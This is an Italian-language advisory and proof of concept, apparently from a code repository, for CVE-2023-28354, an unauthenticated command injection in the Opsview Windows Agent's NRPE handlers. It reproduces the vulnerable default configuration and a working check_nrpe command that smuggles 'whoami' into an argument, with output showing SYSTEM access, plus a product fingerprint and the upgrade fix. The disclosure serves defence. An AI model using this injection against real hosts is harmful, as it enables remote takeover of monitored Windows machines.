stormfleet/cve-2023-28354CVE-2023-28354
È stata identificata una vulnerabilità in Opsview Monitor Agent 6.8 che consente a un attaccante remoto non autenticato di eseguire comandi arbitrari. Un attaccante non autenticato può sfruttare questa vulnerabilità su Windows fornendo una sequenza di escape da riga di comando quando chiama gli script predefiniti di Opsview Agent Monitor, consentendo l'esecuzione di comandi di sistema arbitrari.
Il servizio Opsview Agent su Windows viene eseguito come Local System per impostazione predefinita. Questa configurazione predefinita contiene anche diversi handler NRPE, che consentono agli amministratori di chiamare script che eseguono funzioni predefinite come la verifica dello stato del sistema, dell'età dei file o dei mountpoint. Questi handler sono configurati per accettare argomenti (allow_arguments=1) e caratteri di escape da riga di comando (allow_nasty_meta_characters=1).
Nella versione interessata di Opsview Agent, gli handler NRPE sono configurati in modo non sicuro: l'input del comando e qualsiasi argomento di un utente remoto che chiama lo script vengono riversati direttamente in Powershell.
Un file di configurazione opsview.ini predefinito:
75: [External Script]
76: ;# COMMAND ARGUMENT PROCESSING
77: ; This option determines whether or not the NRPE daemon will allow clients to specify arguments to commands that are executed.
78: allow_arguments=1
79:
80: ;# COMMAND ALLOW NASTY META CHARS
81: ; This option determines whether or not the NRPE daemon will allow clients to specify nasty (as in |`&><'"\[]{}) characters in arguments.
82: allow_nasty_meta_chars=1
[...]snip[...]
94: [NRPE Handlers]
95: check_mountpoint=cmd /c echo scripts\check_mountpoint.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
96: check_services_orig=cmd /c echo scripts\check_services.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
97: check_services=scripts\check_services.exe $ARG1$
98: check_clustergroup=cmd /c echo scripts\check_clustergroup.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
99: check_windows_base_orig=cmd /c echo scripts\check_windows_base.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
100: check_windows_base=scripts\check_windows_base.exe $ARG1$
101: check_msmq=cmd /c echo scripts\check_msmq.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
102: check_ms_iis=cmd /c echo scripts\check_ms_iis.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
103: check_ms_dns=cmd /c echo scripts\check_ms_dns.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
104: check_ms_sql_database_states=cmd /c echo scripts\check_ms_sql_database_states.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
105: check_ms_sql_performance=cmd /c echo scripts\check_ms_sql_performance.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
106: check_ms_sql_system=cmd /c echo scripts\check_ms_sql_system.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
107: check_ms_hyperv_server=cmd /c echo scripts\check_ms_hyperv_server.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
108: check_microsoft_exchange2016_backpressure=cmd /c echo scripts\check_microsoft_exchange2016_backpressure.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
109: check_microsoft_exchange2013_backpressure=cmd /c echo scripts\check_microsoft_exchange2013_backpressure.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
110: check_microsoft_exchange_counters=cmd /c echo scripts\check_microsoft_exchange_counters.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
111: check_microsoft_exchange=cmd /c echo scripts\check_microsoft_exchange.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
112: check_active_directory=cmd /c echo scripts\check_active_directory.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
113: check_windows_updates=cmd /c echo scripts\check_windows_updates.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
114: check_file_age=cmd /c echo scripts\checkfileage.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
115: check_counter=cmd /c echo scripts\check_counter.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
116: check_xen=cmd /c echo scripts\check_xen.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
117: check_horizon=cmd /c echo scripts\check_horizon.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
118: check_xencloud=cmd /c echo scripts\check_xencloud.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
119: check_wineventlog=cmd /c echo scripts\check_wineventlogn.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
L'attacco alle installazioni predefinite da Linux può essere effettuato con l'utility check_nrpe di Nagios per interagire con un handler noto, fornendo come argomento una sequenza di escape da riga di comando e il comando desiderato da eseguire in remoto.
Ad esempio:
$ /usr/lib/nagios/plugins/check_nrpe -H 192.168.0.15 -c check_file_age -a "a;whoami"
CRITICAL: File a does not exist
nt authority\system
Screencast from 2025-04-10 10-52-02.webm
Opsview Windows Agent 28-09-2022 e release x64 e Win32.
Fingerprint remoto per il prodotto vulnerabile:
OpsviewAgent 0.3.9.700 2022-09-28; osname=windows
Aggiornare alla release Opsview Windows Agent 09-03-2023.
Nota: come da comunicazione ITRS, l'Opsview Agent non riceverà ulteriori aggiornamenti. Si consiglia invece di passare a ITRS Infrastructure Agent.